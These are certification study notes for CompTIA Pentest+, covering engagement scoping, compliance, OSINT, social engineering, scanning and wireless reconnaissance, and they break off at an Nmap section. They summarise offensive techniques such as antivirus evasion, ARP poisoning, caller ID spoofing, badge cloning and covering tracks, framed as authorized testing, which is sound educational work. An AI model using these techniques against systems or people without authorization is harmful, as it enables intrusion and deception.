CompTIA Pentest+ Study Notes

*Pentest+ is a registered trademark of CompTIA. You can learn more about their active trademarks on the USPTO website.

Table of Contents

Lesson 1

Scoping Organizational/Customer Requirements

Define Organizational PenTesting

Organizational PenTesting (Penetration Testing) is a critical component of a comprehensive security plan, providing a method to assess the cyber health and resiliency of an organization's computer systems. This process aims to reduce overall organizational risk by simulating cyberattacks to identify and exploit vulnerabilities.

Key Objectives Covered:

1. **Importance of Scoping and Organizational/Customer Requirements:** Effective scoping ensures that the PenTest aligns with the organization's specific needs and constraints.
2. **Importance of Communication During the PenTesting Process:** Continuous communication with stakeholders is essential to address any irregularities and ensure the test's objectives are met.

Context:

- The economic impact of cybercrime is substantial, growing to trillions of dollars annually.
- Despite proactive security measures like firewalls, IDS/IPS, and antimalware, threats can still bypass defenses.

PenTesting Process:

1. **Planning and Scoping:** Define the rules of engagement, budget, technical constraints, types of assessments, and selection of targets.
2. **Reconnaissance:** Gather as much information about the target as possible using OSINT, social networking sites, and company websites.
3. **Scanning:** Identify live hosts, listening ports, and running services. Use enumeration for detailed information.
4. **Gaining Access:** Attempt to gain access to the system and see how deep into the network penetration can go.
5. **Maintaining Access:** Stay undetected within the system for as long as possible.
6. **Covering Tracks:** Remove evidence of penetration activities, including executable files, rootkits, logs, and user accounts used.
7. **Analysis:** Review and analyze the results of the PenTest, summarizing the risk rating.
8. **Reporting:** Deliver results and remediation suggestions to stakeholders, providing a realistic timeline for reducing risk and implementing corrective actions.

Controls to Ensure Security:

- **Administrative Controls:** Policies and procedures, employee training, business continuity, and incident response plans.
- **Physical Controls:** Barriers, tokens, biometrics, surveillance cameras, and access cards.
- **Technical/Logical Controls:** ACLs, IDS/IPS signatures, and antimalware protections.

Risk Management:

- **Risk Formula:** Risk = Threats × Vulnerabilities.
- **Threats:** Can be intentional (e.g., malware) or accidental (e.g., natural disasters).
- **Vulnerabilities:** Weaknesses or flaws in the system.
- **Risk Analysis Example:** Evaluating different levels of antimalware protection to determine risk levels.

Structured Approach:

- Aligns with the CompTIA PenTest+ Certification exam objectives.
- Each step of the process has a purpose, aiming to test an infrastructure's defenses and identify vulnerabilities.

Study Notes

- **PenTesting Definition:** Simulating cyberattacks to identify and exploit vulnerabilities, aiming to improve organizational security.
- **Key Objectives:**
  - Scoping and organizational requirements.
  - Importance of communication.
- **Economic Impact:** Cybercrime costs in the trillions.
- **Proactive Security Measures:** Firewalls, IDS/IPS, antimalware.
- **Controls:**
  - **Administrative:** Policies, training, continuity, incident response.
  - **Physical:** Barriers, tokens, surveillance, access cards.
  - **Technical/Logical:** ACLs, IDS/IPS, antimalware.
- **Risk Management:**
  - **Formula:** Risk = Threats × Vulnerabilities.
  - **Components:** Threats (intentional/accidental), vulnerabilities (weaknesses/flaws).
- **PenTesting Process:**
  - **Planning and Scoping:** Define engagement rules, budget, constraints, targets.
  - **Reconnaissance:** Gather information.
  - **Scanning:** Identify live hosts, ports, services.
  - **Gaining Access:** Penetrate the network.
  - **Maintaining Access:** Stay undetected.

    - **Covering Tracks:** Remove evidence.
    - **Analysis:** Review and analyze findings.
    - **Reporting:** Deliver results and suggestions.
- **Risk Analysis Example:** Different antimalware protection levels affecting risk.
- **Structured Approach:** Consistent steps aligning with CompTIA PenTest+ exam objectives.

These notes should help you understand the critical aspects of organizational PenTesting and prepare for related exams and practical applications.

Acknowledge Compliance Requirements

Organizations today must adhere to various regulatory standards to secure their systems and prevent data loss. Penetration testing (PenTesting) is a vital tool for gap analysis to check compliance. Key standards include PCI DSS for credit card data and GDPR for consumer data protection. PenTesting helps organizations identify and mitigate vulnerabilities, ensuring they meet compliance requirements and protect sensitive information.

Compliance Standards:

1. **PCI DSS (Payment Card Industry Data Security Standard):**
    - Ensures secure handling of credit card data.
    - Requires strong access control, continuous monitoring, and regular testing.
    - Compliance levels based on transaction volume, requiring assessments and reports.
2. **GDPR (General Data Protection Regulation):**
    - Protects consumer data privacy for EU and British residents.
    - Requires consent for data collection, the right to rescind consent, minimal data collection, and breach reporting within 72 hours.
    - Affects any business dealing with EU and British residents.

Other Privacy Laws:

- **SHIELD Act (New York):** Enhances cybersecurity defenses.
- **CCPA (California Consumer Privacy Act):** Governs handling of consumer data.
- **HIPAA (Health Insurance Portability and Accountability Act):** Protects electronic protected health information (e-PHI).

Types of Assessments:

- **Goal-Based:** Focuses on specific security goals.
- **Compliance-Based:** Ensures adherence to regulatory requirements.

- **Objective-Based:** Targets identified vulnerabilities.

PenTesting Strategies:

- Assess compliance with standards.
- Identify vulnerabilities to mitigate risks.
- Help both large and small organizations protect data and ensure regulatory compliance.

Study Notes

- **PenTesting:** Evaluates security posture to ensure compliance and protect against data breaches.
- **Regulatory Standards:**
    - **PCI DSS:** Secure handling of credit card data.
        - **Requirements:**
            - Secure infrastructure.
            - Change default passwords.
            - Continuous monitoring and anti-malware updates.
            - Strong access control and least privilege principle.
        - **Compliance Levels:**
            - **Level 1:** Over 6 million transactions/year, external audit by QSA.
            - **Level 2:** 1-6 million transactions/year, RoC required.
            - **Level 3:** 20,000-1 million transactions/year.
            - **Level 4:** Under 20,000 transactions/year.
        - **Documentation:** PCI Security Standards (https://www.pcisecuritystandards.org/).
- **GDPR:** Protects EU and British consumer data.
    - **Requirements:**
        - Obtain and manage consent for data collection.
        - Right to be forgotten.
        - Minimal data collection.
        - Breach reporting within 72 hours.
    - **Documentation:** GDPR (https://gdpr.eu/).
- **Other Privacy Laws:**
    - **SHIELD Act (New York):** Enhances cybersecurity defenses.
    - **CCPA (California):** Guidelines for consumer data handling.
    - **HIPAA:** Protects electronic patient health information (e-PHI).
- **Types of Assessments:**
    - **Goal-Based:** Specific security goals.
    - **Compliance-Based:** Regulatory adherence.
    - **Objective-Based:** Target vulnerabilities.
- **PenTesting Strategies:**
    - Ensure compliance.
    - Identify and mitigate vulnerabilities.
    - Beneficial for both large and small organizations.

Compare Standards and Methodologies

Standards and Methodologies for PenTesting:

PenTesting frameworks and methodologies provide structured guidelines for effective security testing. Key organizations like NIST, OWASP, and methodologies like OSSTMM and PTES help security professionals identify vulnerabilities, ensure compliance, and protect data. Understanding Common Vulnerabilities and Exposures (CVE) and Common Weakness Enumeration (CWE) is crucial for identifying and addressing security weaknesses.

Key Frameworks and Methodologies:

1. **OWASP (Open Web Application Security Project):**
    - Provides a framework for web security testing.
    - Offers tools and guidelines, including the OWASP Testing Guide (OTG) and Top 10 vulnerabilities list.
2. **NIST (National Institute of Standards and Technology):**
    - Develops computer security standards and best practice guides.
    - NIST SP 800-115 offers a technical guide for information security testing.
3. **OSSTMM (Open-source Security Testing Methodology Manual):**
    - Provides a structured approach to PenTesting.
    - Covers areas like Human Security and Physical Security testing.
4. **PTES (Penetration Testing Execution Standard):**
    - Offers a comprehensive guide with seven main sections, including preengagement interactions, threat modeling, vulnerability analysis, exploitation, and reporting.
5. **MITRE ATT&CK:**
    - A framework that provides tools and techniques for PenTesting.
    - Categories include Initial Access, Persistence, and Credential Access.

Vulnerability Databases:

1. **CVE (Common Vulnerabilities and Exposures):**
    - A list of publicly disclosed vulnerabilities.
    - Entries include the name, description, and details linked to the National Vulnerability Database (NVD).
2. **CWE (Common Weakness Enumeration):**
    - A database of software-related vulnerabilities maintained by MITRE.
    - Details weaknesses in hardware and software, with information on affected platforms and potential consequences.

Describe Ways to Maintain Professionalism

Ways to Maintain Professionalism in PenTesting:

Maintaining professionalism and integrity is crucial in PenTesting. Key aspects include background checks, handling confidential information, and understanding legal implications. The PenTesting team must demonstrate an ethical hacking mindset by ensuring rigorous controls, maintaining confidentiality, and avoiding legal issues.

Key Professionalism Practices:

1. **Background Checks:**
    - Verify credentials and skills through certifications.
    - Provide recent background checks, including credit scores and driving records.
    - Ensure no criminal records or felony convictions among team members.
2. **Identifying and Reporting Criminal Activity:**
    - Report any accidental or inadvertent breaches immediately.
    - Maintain awareness of legal implications and report criminal behavior.
3. **Maintaining Confidentiality:**
    - Handle sensitive information with care.
    - Adhere to policies on proprietary information.
    - Use encryption and password protection for PenTest reports.
    - Provide legal documentation for confidentiality when necessary.
4. **Avoiding Prosecution:**
    - Clearly outline the terms of the PenTesting contract.
    - Understand and comply with legal considerations.
    - Conduct tabletop exercises to anticipate and mitigate potential conflicts.
    - Ensure mutual consent and clarity in scope and methods used for testing.
5. **Facing Fees, Fines, and Criminal Charges:**
    - Discuss and define the scope and methods with stakeholders.
    - Notify authorities or security personnel about PenTesting activities.
    - Avoid actions that may inadvertently violate laws.
    - Research and understand legal ramifications independently.

Lesson 2

Defining the Rules of Engagement

Assess Environmental Considerations

Assessing Environmental Considerations in PenTesting:

Before starting a PenTest, it is crucial to define the project scope, assess various network types, and identify in-scope assets. Teams must consider environmental factors, legal restrictions, and hosting methods to conduct thorough and compliant PenTesting.

Key Environmental Considerations:

1. **Defining the Project Scope:**
   - Include on-site networks, specific applications, or cloud resources.
   - Define in-scope assets (IP ranges, APIs, first-party or third-party hosted).
   - Understand and document environmental and legal restrictions.
2. **Assessing the Network:**
   - Test both wired and wireless LANs.
   - Include discussions on priorities and specific requirements.
3. **Evaluating Applications:**
   - Test web applications for vulnerabilities.
   - Gather necessary user roles and permissions for testing.
   - Consider mobile applications and their security concerns.
4. **Testing Cloud Resources:**
   - Obtain proper permissions from cloud providers.
   - Determine allowable testing methods and identify hosted assets.
5. **Targeting In-Scope Assets:**
   - Identify and focus on specific IP addresses, domains, APIs, and users.
   - Recognize physical locations, both on-site and off-site.
   - Distinguish between internal and external assets.
6. **Defining Hosting Methods:**
   - Identify if assets are first-party (client-hosted) or third-party (vendor-hosted).
7. **Identifying Restrictions:**
   - Be aware of country, state, and local laws that may impact testing.
   - Follow company policies and legal requirements for PenTesting.
   - Understand export controls and regulations on tool usage.

Outline the Rules of Engagement

1. **Kick-off Meeting:**
    - Essential for learning how to conduct the PenTest safely.
    - Define the rules of engagement, client expectations, and type of testing.
    - Validate the scope of the engagement.
2. **Providing the Details:**
    - Stakeholders must spell out all requirements and agree on terms.
    - Keep communication open; clarify any issues.
    - Ask open-ended questions to remove ambiguity.
    - Assess past breaches or potential advanced persistent threats (APT).
    - Agree on timeline and restrictions.
3. **Adhering to a Timeline:**
    - Timeline outlines events and time needed to complete testing.
    - Discuss with stakeholders to understand the testing procedure.
    - Include any time-of-day restrictions in the contract.
    - Maintain professionalism and focus to build a long-lasting relationship with the client.
4. **Understanding the Restrictions:**
    - Identify allowable tests and acceptable actions.
    - Adhere to the scope defined in legal documents.
    - Recognize technical or location constraints.
    - Limit invasiveness based on scope.
    - Use approved tools and address any additional variables that will impact testing.
5. **Choosing the Type and Strategy:**
    - Gather information from stakeholders about their needs and objectives.
    - Determine the type of assessment: compliance-based, red team/blue team, goals-based.
    - Select a strategy based on how much information is provided prior to testing: unknown, partially known, or known environment.
6. **Validating the Scope of the Engagement:**
    - Review and confirm all requirements, scope, and details of the engagement.
    - Reconfirm system backups and recovery procedures.
    - Clarify any vague areas with the client.
    - Confirm scope, strategy, timeline, restrictions, third-party providers, and communication.
    - Ensure the PenTest is valid only at the point in time it is conducted.

Prepare Legal Documents

1. **Legal Documentation:**
   - Essential legal documents include Nondisclosure Agreement (NDA), Statement of Work (SOW), and Master Service Agreement (MSA).
   - These documents define the scope, customer obligations, termination rights, and other relevant details.
2. **Ensuring Confidentiality:**
   - Protecting data confidentiality is crucial, especially when specific laws like GLBA, DPPA, and HIPAA apply.
   - Confidentiality measures include data encryption and proper disposal post-testing.
   - Team members often sign an NDA to prevent sharing confidential information.
3. **Permission to Attack:**
   - Formal permission to conduct PenTesting is necessary to avoid liability.
   - The client must be aware of potential risks, such as system disruptions.
   - Legal documents must detail authorized individuals, networks, validity period, data handling, and reporting guidelines.
4. **Master Service Agreement (MSA):**
   - MSA establishes guidelines for all transactions and recurring costs.
   - It includes project scope, compensation details, permits, safety guidelines, and insurances.
   - The MSA must be modifiable to accommodate future changes.
5. **Statement of Work (SOW):**
   - SOW defines deliverables, responsibilities, payment milestones, and schedules.
   - It outlines the specific business arrangement and has a direct impact on team activities.
6. **Service-Level Agreement (SLA):**
   - SLA details the terms of service provision, including performance metrics, remedies, and penalties.
   - It covers security access controls, risk assessments, and third-party authorizations.
   - SLA ensures compliance with performance standards and includes disclaimers.
7. **Legal Review and Authorization:**
   - Final documentation should be legally reviewed and signed by authorized personnel.
   - Proper legal authorization is crucial to control liability during the PenTesting engagement.

Lesson 3

Footprinting and Gathering Intelligence

Discover the Target

1. **Gathering Information:**
   - Identify key contacts, technical, and administrative details.
   - Use online resources to understand the business operations and security posture.
   - Record findings in a spreadsheet for easy reference and modification.
2. **Providing Insight on the Target:**
   - Use online resources to learn about the target organization's operations, acquisitions, and key personnel.
   - News articles, social media, and job listings can provide valuable insights.
3. **Leveraging Intel:**
   - Gather information about employees' roles, responsibilities, and technical environments.
   - Use intel to craft targeted attacks such as spear phishing or password cracking.
4. **Identifying Organizational Contacts:**
   - Use social media, job listings, and DNS tools to gather contact information.
   - Scrape social media sites like Twitter, Facebook, LinkedIn, YouTube, Instagram, and Reddit for employee and organizational details.
5. **Scouring Job Listings:**
   - Job postings reveal details about the technical environment and personnel needs.
   - Sites like CareerBuilder, Monster, ZipRecruiter, Indeed, Glassdoor, and LinkedIn can be used.
6. **Examining DNS Information:**
   - Perform DNS queries to identify IP addresses and DNS records (MX, NS, TXT, SRV).
   - Use tools like `nslookup` and `dig` to perform DNS queries.
7. **Querying Data Using whois:**
   - Use the whois database to find domain registration details and key contacts.

Gather Essential Data

Using Public Source-Code Repositories:

- Public source-code repositories like GitHub, Bitbucket, CloudForge, and SourceForge are commonly used by developers for code sharing and collaboration.
- Benefits include faster development times and easier teamwork.
- Risks include exposure of sensitive information such as hostnames, IP addresses, and credentials, which can be exploited by malicious actors.

Optimizing Search Results:

- Google hacking involves using advanced search operators to find specific information on the Internet.
- Common operators include:
    - `site`: searches within a specific site.
    - `link`: searches for pages linking to a specific page.
    - `filetype`: searches for specific file types.
    - `inurl`: searches for specific text in URLs.
    - `inanchor`: searches for specific anchor text.
- Combining operators can refine searches to find more relevant information.

Unearthing Archived Websites:

- Archived websites can be accessed through web cache viewers or the Wayback Machine.
- These tools allow viewing of older versions of websites to retrieve information no longer available on current versions.
- Useful for finding old press releases, directories, and potentially sensitive information.

Searching for Images:

- Reverse image search engines like TinEye, Google, Yandex, and Bing can help find similar images across the web.
- Useful for gathering actionable intelligence or assessing the status and reputation of a target.
- Google Alerts can be set up to monitor and receive updates on specific image-related queries.

Compile Website Information

1. Importance of Website Evaluation:

- **Objective:** Identify vulnerabilities that could lead to attacks.
- **Methods:** Scoping, footprinting, and planning using OWASP and PCI DSS guidelines.

2. Enumerating the Target's Website:

- **Purpose:** Discover attack vectors and vulnerabilities.
- **Methods:** Determine hosting type (self-hosted or cloud-based).
- **Tools:** Nmap, Metasploit, DirBuster, OSINT tools like Maltego.
- **Techniques:** HTTP header sniffing, forced browsing.

3. Extending Reach Beyond Primary Sites:

- **Targets:** Partner sites, subdomains, social media profiles.
- **Rationale:** Gain broader insight into business operations and potential vulnerabilities.

4. Evaluating the robots.txt File:

- **Function:** Controls web crawler access to specific areas.
- **Risk:** Improperly configured files can pose security risks.

5. Recognizing Certificate Flaws:

- **Importance:** SSL/TLS certificates ensure secure data exchange.
- **Assessment:** Check for expired certificates and misconfigurations using vulnerability scanners.
- **Details:** Utilize SANs to identify covered subdomains.

Certificate Transparency (CT) Framework:

- **Purpose:** Logs of public CAs to publish certificates for transparency.
- **Content:** Includes domain and subdomain certificates issued by CAs.
- **Benefits:** Helps discover subdomains not covered by current certificates, useful for reconnaissance.

Revoking Certificates:

- **Reasons:** Revoked due to business closure, expiration, or CA key compromise.
- **Impact:** Browsers show warnings if certificates are invalid or revoked.

Checking Certificate Status:

- **Methods:**
  - **Certification Revocation List (CRL):** Lists invalid certificates.
  - **Online Certificate Status Protocol (OCSP):** Real-time validation of certificate status.

Certificate Stapling:

- **Process:** Web server pre-validates certificates from OCSP server.
- **Benefits:** Improves efficiency by reducing client-side validation overhead.

Security Assessment:

- **Task:** Ensure SSL/TLS certificates are properly signed and secure to prevent attacks.
- **Focus:** Verify certificates during PenTest to identify potential vulnerabilities.

Discover Open-Source Intelligence Tools

Open-Source Intelligence (OSINT) Tools Overview:

- **Purpose:** Used in reconnaissance phase to gather publicly available information.
- **Legal Considerations:** OSINT tools are legal to use as they access publicly accessible data without breaching privacy laws.

Unearthing OSINT Tools:

- **Sources of OSINT:**
  - Whois databases for registration information.
  - Public websites, social media profiles, job postings, blogs, news articles.
  - DNS server records, SSL/TLS certificates.

Searching Metadata:

- **Metadata Definition:** Information embedded within files revealing details like author, organization, and document properties.
- **Tools for Metadata Extraction:**
  - **Metagoofil:** Extracts metadata from various document types (PDF, DOCX, XLSX) on target websites using Python libraries.
  - **FOCA (Fingerprinting Organizations with Collected Archives):** GUI tool for discovering metadata from documents, expanding to find associated domains and more.

Researching Organizational Information:

- **Tools for Organizational Data:**
  - **theHarvester:** Collects subdomains, email addresses, and more from public data sources (Google, LinkedIn, etc.).
  - **Recon-ng:** Modular tool for comprehensive reconnaissance, including Whois queries, PGP key searches, and social media profiling.

Transforming Data with Maltego:

- **Maltego Overview:** GUI tool for visualizing relationships between gathered data points.
- **Transforms:** Automates querying of public data sources to identify connections (e.g., domains, IP addresses, social media profiles).
- **Graphical Representation:** Uses node graphs to depict hierarchical relationships and commonalities among data sources.

Searching with Shodan:

- **Shodan Functionality:** Search engine for indexing IoT devices and other connected systems.
- **Use Cases:**
  - Identifying security vulnerabilities in IoT devices (e.g., default credentials).
  - Locating publicly accessible devices (e.g., IP cameras, HVAC systems) for potential physical or remote attacks.

Legal and Ethical Considerations:

- **Permission:** Ensure legal authorization before using tools on closed-source or private sites.
- **Data Privacy:** Respect privacy regulations and avoid unauthorized data access during reconnaissance.

Lesson 4

Evaluating Human and Physical Vulnerabilities

Exploit the Human Psyche

Methods of Social Engineering

1. **Pretexting**
   - **Definition:** Creating a fabricated scenario to deceive the target into providing information or taking actions.
   - **Example:** Impersonating a trusted individual to request sensitive information.
2. **Elicitation**
   - **Definition:** Extracting information from a target through casual conversation or surveys.
   - **Methods:** Requests, interrogations, surveys, and observations to gather actionable intel.
3. **Phishing, Pharming, and Baiting**
   - **Phishing:** Sending fraudulent emails or messages impersonating legitimate entities to obtain sensitive data.
   - **Pharming:** Redirecting victims to malicious websites that mimic trusted sites to collect personal information.
   - **Baiting:** Leaving physical media containing malware in public areas to entice victims into using them.
4. **Vishing and SPIT**
   - **Vishing:** Voice phishing where attackers use phone calls to manipulate victims into revealing sensitive information.
   - **SPIT:** Spam over Internet Telephony, sending unwanted messages over VoIP systems.
5. **Impersonation and Deception**
   - **Impersonation:** Pretending to be a trusted individual or authority figure to gain trust and compliance.
   - **Deception Tactics:** Creating urgency, scarcity, or fear to prompt immediate action from the victim.
6. **URL Hijacking**
   - **Definition:** Registering domains similar to legitimate sites to intercept traffic and steal information.
   - **Example:** Redirecting users to fake websites through typos or misspellings in URLs.

Case Examples

- **Business Email Compromise (BEC):** Impersonating executives to authorize fraudulent transactions.
- **Hoaxes:** Spreading false information to deceive victims into compromising their systems.

Mitigation Strategies

- **Awareness Training:** Educating employees about social engineering tactics and how to identify phishing attempts.
- **Two-Factor Authentication:** Implementing additional security measures to verify identities and prevent unauthorized access.
- **Regular Security Audits:** Assessing vulnerabilities and updating security protocols to mitigate risks.

Summarize Physical Attacks

Physical Attacks

Overview:

- **Objective:** Assess and exploit physical security to gain unauthorized access.
- **Methods:** Tailgating, dumpster diving, badge cloning, lock bypassing, and shoulder surfing.

Exploiting Physical Security:

- **Objectives of Assessment:**
  - Review project scope and assess physical security controls.
  - Tasks include photographing restricted areas, stealing devices, and accessing restricted systems.
- **Evaluation of Physical Security Controls:**
  - Assess locks (physical and electronic), surveillance systems, security personnel, lighting, barriers, alarms, and motion sensors.

Badge Cloning:

- **RFID Badge System:**
  - Uses RFID/NFC for authentication without direct contact.
  - Cloning involves copying data from one badge to another using RFID writers.
  - Effective on badges using 125kHz EM4100 technology due to lack of encryption.

Gaining Access:

- **Bypassing Locks:**
  - Methods include lock picking (for pin-tumbler locks), cutting tools, and exploiting weaknesses in keyless locks (combination, card, biometric).
- **Tailgating and Piggybacking:**
  - **Tailgating:** Following authorized personnel through secured doors.
  - **Piggybacking:** Similar to tailgating but with target's awareness, often exploiting courtesy or lack of scrutiny.

Dumpster Diving and Shoulder Surfing:

- **Dumpster Diving:** Searching trash for sensitive information like documents or storage devices improperly discarded.
- **Shoulder Surfing:** Observing or capturing sensitive information from computer screens or input devices unnoticed.

Security Considerations:

- **Challenges:** Awareness among employees, effectiveness of surveillance, and access control measures.

Use Tools to Launch a Social Engineering Attack

Social Engineering Attack Tools

Overview:

- **Objective:** Use tools like the Social Engineering Toolkit (SET) and call spoofing tools to manipulate targets into performing actions.
- **Tools Covered:** Social Engineering Toolkit (SET), VoIP call spoofing.

Social Engineering Toolkit (SET):

- **Description:** Python-based toolkit for conducting social engineering PenTests.
- **Platforms:** Compatible with Linux, Unix, Windows, and Kali Linux.
- **Capabilities:** Includes options for attacking websites, mass mailings, and spearphishing.
- **Usage:**
  - Launch SET and navigate through its menu options.
  - Requires input such as IP addresses, port numbers, or website URLs depending on the chosen attack.

Spoofing a Call:

- **VoIP Spoofing:**
  - Utilizes Voice over IP (VoIP) to manipulate Caller ID information.
  - Allows caller to appear as a trusted entity (e.g., recognized vendor, company president).
- **Methods:**
  - **App-Based Spoofing:** Simple method using apps to modify outgoing Caller ID.
  - **Asterisk Tool:** Open-source PBX software (Asterisk) for more advanced spoofing setups, requires Linux administration skills.
- **Voicemail Exploitation:**
  - Spoofed caller IDs can access voicemail systems.
  - Exploitation involves trying default passwords or using Google Hacking techniques to find vulnerabilities in VoIP systems.

Security Considerations:

- **Preparation:** Evaluate attack vectors during footprinting and reconnaissance phases.
- **Legal and Ethical Considerations:** Ensure compliance with laws and ethical guidelines regarding social engineering testing.

Lesson 5

Preparing the Vulnerability Scan

Plan the Vulnerability Scan

Importance of Identifying and Mitigating Vulnerabilities

- **Definition**: Vulnerabilities are weaknesses in systems that can be exploited, leading to security breaches.
- **Lifecycle of a Vulnerability**:
    1. **Discover**: Identify the vulnerability.
    2. **Coordinate**: Publish vulnerability details (CVE, CWE).
    3. **Mitigate**: Develop and release patches.
    4. **Manage**: Apply patches within organizations.
    5. **Document**: Document actions and lessons learned.

Zero-Day Vulnerabilities

- **Definition**: Exploits unknown vulnerabilities, posing significant risks until patched.
- **Lifecycle**: Discovered by malicious actors, disclosed to vendors, mitigated via patches.

Reducing Risks to Data

- **Threats**: Exposing sensitive data violates confidentiality; data modification violates integrity.
- **Protection**: Encrypt data at rest and in transit to prevent unauthorized access.

Active Reconnaissance

- **Purpose**: Gather information on hosts, ports, and services.
- **Techniques**:
    - **Banner Grabbing**: Identify services and versions running on open ports.
    - **Tools**: Wget, Netcat, Nmap for grabbing banners.

Mapping the Network

- **Objective**: Create a logical topology map of devices and connections.
- **Methods**: Use tools like Nmap to scan MAC, IP addresses, ports, and protocols.
- **Tools**: Utilize ARP caches, SNMP, and network mappers (e.g., SolarWinds, Nmap).

Running Vulnerability Scans

- **Purpose**: Identify weaknesses such as weak encryption, misconfigurations, and unpatched systems.
- **Tools**: OpenVAS, Nexpose, Nessus/Tenable, Nmap (with NSE scripts).
- **Considerations**: Time to run scans, bandwidth usage, impact on fragile systems, and scan validation.

Scanning Considerations

- **Intrusiveness**: Choose between intrusive (exploit vulnerabilities) and non-intrusive (identify only) scans.
- **Impact Mitigation**: Conduct scans during off-peak hours to minimize disruption.

Detect Defenses

1. Load Balancers

- **Purpose**: Distribute network traffic across multiple servers for improved performance and reliability.
- **Detection**: Use tools like `lbd` in Kali Linux to identify load balancing devices.
- **Impact**: Can misdirect scans or attacks, affecting scanning accuracy.

2. Firewalls

- **Purpose**: Control and monitor incoming and outgoing network traffic based on predefined security rules.
- **Types**: Personal firewalls (software-based) and dedicated appliances (hardware-based).
- **Detection**: Conduct port scans and firewalking to test which traffic passes through.
- **Testing**: Check if crafted packets can bypass firewall rules, assessing for misconfigurations or weaknesses.
- **Web Application Firewalls (WAFs)**:
  - Designed to protect web applications from common attacks (e.g., XSS, SQLi).
  - Detection methods include HTTP headers, response patterns (e.g., error messages).

3. Antivirus/Antimalware

- **Purpose**: Continuous monitoring for malware on systems and networks.
- **Evading Detection**: Techniques such as metamorphic viruses, obfuscation of signatures, and use of fileless malware.
- **Testing**: Use tools like Social Engineering Toolkit (SET) to create and test payloads embedded in documents.

Utilize Scanning Tools

1. Analyzing the Attack Surface

- **Tools**: Use OSINT tools like Shodan and Censys to gather information on exposed systems.
- **Censys**: Analyzes attack surfaces similar to Shodan, identifies services, ports, and software vendors.
- **OpenVAS**: Conducts vulnerability scans, provides risk ratings, and lists CVEs for identified vulnerabilities.

2. Packet Crafting

- **Purpose**: Customize IP packets to test firewall rules, evade intrusion detection systems (IDS), or conduct denial of service (DoS) attacks.
- **Techniques**: Set unusual TCP flags (e.g., XMAS scan), fragment packets to evade IDS, create packets to overload CPU resources.
- **Tools**: hping3, Scapy, Ostinato, Libcrafter for crafting and sending custom packets.

3. Evaluating Web Servers and Databases

- **Web Servers**: Scan on TCP ports 80/443 for vulnerabilities, test nonstandard ports, check for SQL injection vulnerabilities.
- **Databases**: Typically on TCP 1433 (SQL Server), vulnerable to SQL injection attacks.
- **Tools**: Arachni, Skipfish, OWASP ZAP, Metasploit Pro for web application vulnerability scanning.
- **SQL-specific Tools**: SQLmap for detecting and exploiting SQL injection flaws.

4. Cryptographic Vulnerabilities

- **SSL/TLS**: Check for vulnerabilities like Logjam, Freak, Poodle that weaken encryption.
- **Tools**: Nikto for comprehensive testing on web servers, including SSL/TLS vulnerabilities and other server misconfigurations.

Lesson 6

Scanning Logical Vulnerabilities

Scan Identified Targets

Types of Scans

1. **Discovery Scans (Ping Sweep):**
    - Used to find live hosts on a network.
    - Uses tools like Nmap (-sn or -sP) to send probes (ICMP, TCP, UDP) to detect active hosts.
2. **Port Scanning:**
    - Identifies open ports on live hosts to determine services running.
    - Default scans cover well-known ports (1-1023); broader scans can be configured.

Techniques for Port Scanning

- **TCP Connect Scan:**
    - Completes TCP three-way handshake to establish connection.
    - Noisy and easily detectable.
- **Stealth Scan Techniques:**
    - **TCP SYN Scan:** Sends SYN packets without completing the handshake.
    - **FIN Scan, NULL Scan, XMAS Tree Scan:** Utilize various flag combinations to avoid detection.
    - Useful for evading intrusion detection systems (IDS).

Assessing Web Application Vulnerabilities

- **Web Application Vulnerability Testing:**
    - Involves crawling, scraping, and analyzing web applications for vulnerabilities.
    - Tools like Acunetix, Qualys, and Netsparker aid in automated vulnerability scanning.
- **API Vulnerability Testing:**
    - Checks for exposed API keys and vulnerabilities within API code.
    - Vulnerable APIs can lead to unauthorized access to sensitive data.

Automated Vulnerability Scanning

- **Static Application Security Testing (SAST):**
    - Examines code early in development to find vulnerabilities.
- **Dynamic Application Security Testing (DAST):**
    - Tests applications after deployment to find runtime vulnerabilities.

- **Security Content Automation Protocol (SCAP):**
    - Ensures compliance with security standards by automating vulnerability checks.
    - Uses predefined security baselines for on-site or cloud-based scanning.

Evaluate Network Traffic

Sniffing Using Wireshark

- **Purpose**: Passive gathering of network traffic to understand network characteristics and identify vulnerabilities.
- **Capabilities**: Captures cleartext protocols (TCP, ARP, SMTP, HTTP) to potentially extract credentials and other sensitive data.
- **Techniques**:
    - Use Wireshark to analyze TCP sessions, WLAN SSIDs, and VPN traffic even if encrypted.
    - Utilize display filters like `nbns` for NetBIOS name service messages to discover host information.
    - Analyze Kerberos traffic for user account details in Active Directory environments.

Discovering Network Hosts with Wireshark

- **Methods**: Use Wireshark on LAN to passively gather data via protocols like NetBIOS and Kerberos.
- **Examples**: Identify hosts via NetBIOS name service (NBNS) messages and extract user account names from Kerberos traffic.

Scanning with Nessus

- **Tool Overview**: Nessus performs comprehensive vulnerability scans on networks.
- **Applications**:
    - Conducts basic and advanced network scans, including web application tests.
    - Assists in ensuring network segmentation and compliance (e.g., PCI DSS).
    - Outputs detailed reports on vulnerabilities and compliance status.

Testing for Network Segmentation

- **Objective**: Verify proper isolation of network segments using tools like Nessus.
- **Methods**: Employ subnets, VLANs, and firewalls to separate networks.
- **Standards**: Ensure compliance with regulations such as PCI DSS through segment testing and reporting.

Gathering ARP Traffic

- **Purpose**: Obtain MAC addresses for network reconnaissance and potential attacks.
- **Tools**: Use Nessus, Nmap (`nmap -PR -sn <target>`), and Arping (in Kali Linux) for ARP traffic collection.
- **Technique**: ARP poisoning (spoofing MAC addresses) for man-in-the-middle attacks.

Uncover Wireless Assets

War Driving and Open Access Points

- **War Driving**: Actively searching for open access points (WAPs) using mobile devices.
- **Risks**: Potential for rogue or improperly secured WAPs compromising network security.

Tools for WAP Detection

- **Tools**: Aircrack-ng, Kismet, Wifite for scanning and detecting WAPs.
- **Packet Analysis**: Use packet analysis software to capture and analyze data for active attacks.

Remote Location Testing

- **Challenges**: Testing remote locations may require onsite visits or tools like WiGLE.
- **WiGLE**: OSINT tool for mapping and indexing access points globally.

WiGLE Usage

- **Functionality**: Search by location, date range, and filter options (e.g., "Possible Freenet").
- **Visualization**: Displays APs as dots; open APs labeled as "Free Love".
- **Views**: Standard, Satellite, Nightvision, Greyscale, and Hybrid for varied perspectives.

Signal Amplification

- **Signal Strength**: Importance of Signal-to-Noise Ratio (SNR) for effective wireless testing.
- **Antennas**: Various types (e.g., directional, omni-directional, parabolic) for different signal needs.
- **Selection**: Choose antennas based on range requirements (e.g., 11dBi for long-range, 5dBi for office).

Lesson 7

Analyzing Scanning Results

Discover Nmap and NSE

Overview of Nmap

- **Nmap (Network Mapper)**: Widely used network scanner for:
